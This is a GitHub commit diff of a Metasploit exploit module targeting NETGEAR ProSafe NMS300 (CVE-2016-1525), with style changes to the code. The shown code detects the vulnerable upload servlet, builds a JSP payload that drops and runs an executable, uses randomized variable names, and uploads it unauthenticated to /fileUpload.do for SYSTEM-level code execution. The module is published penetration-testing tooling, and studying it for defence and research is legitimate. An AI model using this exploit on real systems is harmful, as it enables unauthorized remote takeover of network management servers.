Skip to content

Commit 044b12d

Browse files
author
Pedro Ribeiro
committed
Made style changes requested by OJ and others
1 parent 1f4324f commit 044b12d

File tree

1 file changed

+23
-26
lines changed

1 file changed

+23
-26
lines changed

modules/exploits/windows/http/netgear_nms_rce.rb

Lines changed: 23 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
require 'msf/core'
77

8-
class Metasploit3 < Msf::Exploit::Remote
8+
class Metasploit4 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
@@ -15,13 +15,13 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',
1717
'Description' => %q{
18-
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
19-
The application has a file upload vulnerability that can be exploited by an
20-
unauthenticated remote attacker to execute code as the SYSTEM user.
21-
Two servlets are vulnerable, FileUploadController (located at
22-
/lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
23-
This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
24-
1.1.0.13.
18+
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
19+
The application has a file upload vulnerability that can be exploited by an
20+
unauthenticated remote attacker to execute code as the SYSTEM user.
21+
Two servlets are vulnerable, FileUploadController (located at
22+
/lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
23+
This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
24+
1.1.0.13.
2525
},
2626
'Author' =>
2727
[
@@ -32,8 +32,8 @@ def initialize(info = {})
3232
[
3333
['CVE', '2016-1525'],
3434
['US-CERT-VU', '777024'],
35-
['URL', 'TODO_GITHUB_URL'],
36-
['URL', 'TODO_FULLDISC_URL']
35+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
36+
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
3737
],
3838
'DefaultOptions' => { 'WfsDelay' => 5 },
3939
'Platform' => 'win',
@@ -60,9 +60,9 @@ def check
6060
'method' => 'GET'
6161
})
6262
if res && res.code == 405
63-
return Exploit::CheckCode::Detected
63+
Exploit::CheckCode::Detected
6464
else
65-
return Exploit::CheckCode::Safe
65+
Exploit::CheckCode::Safe
6666
end
6767
end
6868

@@ -72,13 +72,13 @@ def generate_jsp_payload
7272
base64_exe = Rex::Text.encode_base64(exe)
7373
payload_name = rand_text_alpha(rand(6)+3)
7474

75-
var_raw = rand_text_alpha(rand(8) + 3)
76-
var_ostream = rand_text_alpha(rand(8) + 3)
77-
var_buf = rand_text_alpha(rand(8) + 3)
78-
var_decoder = rand_text_alpha(rand(8) + 3)
79-
var_tmp = rand_text_alpha(rand(8) + 3)
80-
var_path = rand_text_alpha(rand(8) + 3)
81-
var_proc2 = rand_text_alpha(rand(8) + 3)
75+
var_raw = 'a' + rand_text_alpha(rand(8) + 3)
76+
var_ostream = 'b' + rand_text_alpha(rand(8) + 3)
77+
var_buf = 'c' + rand_text_alpha(rand(8) + 3)
78+
var_decoder = 'd' + rand_text_alpha(rand(8) + 3)
79+
var_tmp = 'e' + rand_text_alpha(rand(8) + 3)
80+
var_path = 'f' + rand_text_alpha(rand(8) + 3)
81+
var_proc2 = 'e' + rand_text_alpha(rand(8) + 3)
8282

8383
jsp = %Q|
8484
<%@page import="java.io.*"%>
@@ -102,10 +102,7 @@ def generate_jsp_payload
102102
%>
103103
|
104104

105-
jsp = jsp.gsub(/\n/, '')
106-
jsp = jsp.gsub(/\t/, '')
107-
jsp = jsp.gsub(/\x0d\x0a/, "")
108-
jsp = jsp.gsub(/\x0a/, "")
105+
jsp.gsub!(/[\n\t\r]/, '')
109106

110107
return jsp
111108
end
@@ -115,9 +112,9 @@ def exploit
115112
jsp_payload = generate_jsp_payload
116113

117114
jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
118-
jsp_full_name = "null" + jsp_name + ".jsp"
115+
jsp_full_name = "null#{jsp_name}.jsp"
119116
post_data = Rex::MIME::Message.new
120-
post_data.add_part(jsp_name, nil, nil, "form-data; name=\"name\"")
117+
post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"')
121118
post_data.add_part(jsp_payload,
122119
"application/octet-stream", 'binary',
123120
"form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"")
@@ -130,7 +127,7 @@ def exploit
130127
'data' => data,
131128
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
132129
})
133-
if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name + ".jsp"}"/
130+
if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/
134131
print_status("#{peer} - Payload uploaded successfully")
135132
else
136133
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")

0 commit comments

Comments
 (0)